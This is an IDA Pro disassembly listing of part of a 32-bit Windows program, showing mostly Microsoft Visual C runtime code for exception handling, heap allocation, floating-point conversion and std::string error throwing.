; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; DATA XREF: .rdata:004278CCo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call __local_unwind2
pop ecx
pop ecx
xor eax, eax
jmp short loc_422AB9
sub_422AD2 endp
; =============== S U B R O U T I N E =======================================
sub_422AEA proc near ; DATA XREF: .rdata:004278C0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
sub_422AEA endp ; sp-analysis failed
; [00000046 BYTES: COLLAPSED FUNCTION sub_422AF2. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [000001B8 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; [00000056 BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_422DFC
; [00000023 BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND]
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION sub_422DFC. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422E52 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p
; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_41D53Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427908
push offset unknown_libname_8 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43D444
test eax, eax
jz short loc_422E9A
mov [ebp+var_4], 1
call eax ; sub_422DFC
jmp short loc_422E96
; ---------------------------------------------------------------------------
loc_422E8F: ; DATA XREF: .rdata:00427918o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422E93: ; DATA XREF: .rdata:0042791Co
mov esp, [ebp+var_18]
loc_422E96: ; CODE XREF: sub_422E52+3Bj
and [ebp+var_4], 0
loc_422E9A: ; CODE XREF: sub_422E52+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422EA3: ; DATA XREF: .rdata:00427910o
jmp sub_422DFC
sub_422E52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EA8 proc near ; CODE XREF: __onexit+7p __onexit+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DD388
push esi
cmp eax, 3
jnz short loc_422ED1
mov esi, [ebp+arg_0]
push esi
call ___sbh_find_block
test eax, eax
pop ecx
jz short loc_422ECE
mov eax, [esi-4]
sub eax, 9
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422ECE: ; CODE XREF: sub_422EA8+1Cj
push esi
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED1: ; CODE XREF: sub_422EA8+Ej
cmp eax, 2
jnz short loc_422EF5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_422EF5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422F06
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EA8+2Cj
; sub_422EA8+43j
push [ebp+arg_0]
loc_422EF8: ; CODE XREF: sub_422EA8+27j
push 0
push dword_4DD384
call ds:dword_42704C ; RtlSizeHeap
loc_422F06: ; CODE XREF: sub_422EA8+24j
; sub_422EA8+4Bj
pop esi
leave
retn
sub_422EA8 endp
; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_8. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
unknown_libname_9: ; Microsoft VisualC 2-8/net runtime
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call __local_unwind2
add esp, 8
pop ebp
retn 4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42482D proc near ; CODE XREF: __umatherr+52p
xor eax, eax
retn
sub_42482D endp
; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424CFC proc near ; CODE XREF: sub_424D28+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D7F8
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_424CFC endp
; =============== S U B R O U T I N E =======================================
sub_424D12 proc near ; CODE XREF: sub_424D55+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D810
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_424D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D28 proc near ; CODE XREF: __fassign+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424CFC
add esp, 24h
leave
retn
sub_424D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D55 proc near ; CODE XREF: __fassign+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D12
add esp, 24h
leave
retn
sub_424D55 endp
; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [00000064 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 2
call __amsg_exit
pop ecx
retn
; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424F62 proc near ; DATA XREF: .data:00429024o
push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
call ds:dword_427010 ; SetUnhandledExceptionFilter
mov dword_4DBFE8, eax
retn
sub_424F62 endp
; =============== S U B R O U T I N E =======================================
sub_424F73 proc near ; DATA XREF: .data:0042903Co
push dword_4DBFE8
call ds:dword_427010 ; SetUnhandledExceptionFilter
retn
sub_424F73 endp
; =============== S U B R O U T I N E =======================================
sub_424F80 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+6Bp
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_42700C ; IsBadReadPtr
test eax, eax
jz short loc_424F98
xor esi, esi
loc_424F98: ; CODE XREF: sub_424F80+14j
mov eax, esi
pop esi
retn
sub_424F80 endp
; =============== S U B R O U T I N E =======================================
sub_424F9C proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call ds:dword_427060 ; IsBadWritePtr
test eax, eax
jz short loc_424FB4
xor esi, esi
loc_424FB4: ; CODE XREF: sub_424F9C+14j
mov eax, esi
pop esi
retn
sub_424F9C endp
; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_422DFC. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4250B2(size_t Size,int)
sub_4250B2 proc near ; CODE XREF: ___initstdio+22p
; ___initstdio+3Bp
Size = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+Size]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+Size], esi
ja short loc_4250D3
test esi, esi
jnz short loc_4250CD
push 1
pop esi
loc_4250CD: ; CODE XREF: sub_4250B2+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4250D3: ; CODE XREF: sub_4250B2+12j
; sub_4250B2+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425132
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_4250FE
mov eax, [ebp+Size]
cmp eax, dword_4DD380
ja short loc_42511D
push eax
call ___sbh_alloc_block
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425148
jmp short loc_42511D
; ---------------------------------------------------------------------------
loc_4250FE: ; CODE XREF: sub_4250B2+30j
cmp eax, 2
jnz short loc_42511D
cmp esi, dword_43CE74
ja short loc_42511D
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42515C
loc_42511D: ; CODE XREF: sub_4250B2+3Bj
; sub_4250B2+4Aj ...
push esi
push 8
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_425156
loc_425132: ; CODE XREF: sub_4250B2+26j
cmp dword_4DBE48, 0
jz short loc_425156
push esi
call __callnewh
test eax, eax
pop ecx
jz short loc_42515F
jmp short loc_4250D3
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250B2+48j
push [ebp+Size] ; Size
loc_42514B: ; CODE XREF: sub_4250B2+ABj
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
loc_425156: ; CODE XREF: sub_4250B2+7Ej
; sub_4250B2+87j
mov eax, edi
loc_425158: ; CODE XREF: sub_4250B2+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42515C: ; CODE XREF: sub_4250B2+69j
push esi
jmp short loc_42514B
; ---------------------------------------------------------------------------
loc_42515F: ; CODE XREF: sub_4250B2+92j
xor eax, eax
jmp short loc_425158
sub_4250B2 endp
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND]
; [00000146 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND]
; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_425943 dd offset loc_42550C ; DATA XREF: ___strgtold12+63r
dd offset loc_42555B ; jump table for switch statement
dd offset loc_4255B2
dd offset loc_4255DC
dd offset loc_425637
dd offset loc_4256AE
dd offset loc_4256E4
dd offset loc_42572E
dd offset loc_42570D
dd offset loc_425792
dd offset loc_42577C
dd offset loc_425748
; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND]
; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_426090(char *Src,int)
sub_426090 proc near ; CODE XREF: sub_426173+19p
; sub_42629A+19p
Src = dword ptr 4
push esi
push [esp+4+Src] ; Str
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call _strlen
pop ecx
push eax ; Size
push [esp+8+Src] ; Src
mov ecx, esi
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint)
mov eax, esi
pop esi
retn 8
sub_426090 endp
; =============== S U B R O U T I N E =======================================
sub_4260BA proc near ; CODE XREF: sub_4260E2+3p
; sub_426168+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, esi
pop esi
jmp sub_426564
sub_4260BA endp
; [0000000D BYTES: COLLAPSED FUNCTION sub_4260D5. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4260E2 proc near ; DATA XREF: .rdata:off_427C90o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4260BA
test [esp+4+arg_0], 1
jz short loc_4260F8
push esi
call sub_41D65F
pop ecx
loc_4260F8: ; CODE XREF: sub_4260E2+Dj
mov eax, esi
pop esi
retn 4
sub_4260E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4260FE proc near ; CODE XREF: sub_426173+29p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_426AE2
call __EH_prolog
push ecx
push ecx
push esi
lea eax, [ebp+var_10]
mov esi, ecx
push eax
mov [ebp+var_14], esi
mov [ebp+var_10], offset dword_427CAC
call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
push [ebp+arg_0]
and [ebp+var_4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp+var_C]
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4260FE endp
; =============== S U B R O U T I N E =======================================
sub_42614C proc near ; DATA XREF: .rdata:off_427CA0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426168
test [esp+4+arg_0], 1
jz short loc_426162
push esi
call sub_41D65F
pop ecx
loc_426162: ; CODE XREF: sub_42614C+Dj
mov eax, esi
pop esi
retn 4
sub_42614C endp
; =============== S U B R O U T I N E =======================================
sub_426168 proc near ; CODE XREF: sub_42614C+3p
; DATA XREF: .rdata:00428014o
mov dword ptr [ecx], offset off_427CA0
jmp sub_4260BA
sub_426168 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426173 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_D = dword ptr -0Dh
var_4 = dword ptr -4
mov eax, offset loc_426AF4
call __EH_prolog
sub esp, 30h
lea eax, [ebp+var_D]
push eax ; int
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_20]
call sub_426090
and [ebp+var_4], 0
lea eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_3C]
call sub_4260FE
push offset dword_428010
lea eax, [ebp+var_3C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_426173 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p
; sub_4261D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
mov eax, esi
pop esi
retn 4
sub_4261B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261D0 proc near ; CODE XREF: sub_42629A+29p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_426B06
call __EH_prolog
push ecx
push ecx
push esi
lea eax, [ebp+var_10]
mov esi, ecx
push eax
mov [ebp+var_14], esi
mov [ebp+var_10], offset dword_427CAC
call ??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
push [ebp+arg_0]
and [ebp+var_4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4261D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426218 proc near ; CODE XREF: sub_426282+7p
; sub_4262DE+7p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_426B18
call __EH_prolog
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
push edi
mov [ebp+var_10], esi
call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
and [ebp+var_4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp+var_C]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426218 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; DATA XREF: .rdata:off_427CCCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426277
test [esp+4+arg_0], 1
jz short loc_426271
push esi
call sub_41D65F
pop ecx
loc_426271: ; CODE XREF: sub_42625B+Dj
mov eax, esi
pop esi
retn 4
sub_42625B endp
; =============== S U B R O U T I N E =======================================
sub_426277 proc near ; CODE XREF: sub_42625B+3p
; DATA XREF: .rdata:004280BCo
mov dword ptr [ecx], offset off_427CCC
jmp sub_4260BA
sub_426277 endp
; =============== S U B R O U T I N E =======================================
sub_426282 proc near ; CODE XREF: sub_4262F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
retn 4
sub_426282 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42629A proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p
; sub_40D7CD+15p ...
var_3C = dword ptr -3Ch
var_20 = byte ptr -20h
var_D = dword ptr -0Dh
var_4 = dword ptr -4
mov eax, offset loc_426B2A
call __EH_prolog
sub esp, 30h
lea eax, [ebp+var_D]
push eax ; int
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_20]
call sub_426090
and [ebp+var_4], 0
lea eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_3C]
call sub_4261D0
push offset dword_4280B8
lea eax, [ebp+var_3C]
push eax
mov [ebp+var_3C], offset off_427CCC
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_42629A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262DE proc near ; CODE XREF: sub_4262F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CCC
mov eax, esi
pop esi
retn 4
sub_4262DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4262F6 proc near ; DATA XREF: .rdata:00427C98o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426218
push offset dword_4280F8
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
loc_426314: ; DATA XREF: .rdata:00427CD4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4262DE
push offset dword_4280B8
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
loc_426332: ; DATA XREF: .rdata:00427CA8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426282
push offset dword_428010
lea eax, [ebp+var_1C]
push eax
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_4262F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426350 proc near ; CODE XREF: sub_40D104+5Ep
; sub_40F3AA+14Ap ...
jmp ds:dword_427210
sub_426350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426356 proc near ; CODE XREF: unknown_libname_2+23p
; __global_unwind2+13p
jmp ds:dword_4271A4
sub_426356 endp
; [0000002D BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND]
; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4264C1 proc near ; DATA XREF: .rdata:off_427CF4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426564
test [esp+4+arg_0], 1
jz short loc_4264D7
push esi
call sub_41D65F
pop ecx
loc_4264D7: ; CODE XREF: sub_4264C1+Dj
mov eax, esi
pop esi
retn 4
sub_4264C1 endp
; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_426564 proc near ; CODE XREF: sub_4260BA+16j
; sub_4264C1+3p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427CF4
jz short locret_426579
push dword ptr [ecx+4]
call sub_41D65F
pop ecx
locret_426579: ; CODE XREF: sub_426564+Aj
retn
sub_426564 endp
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS KEYPAD "+" TO EXPAND]
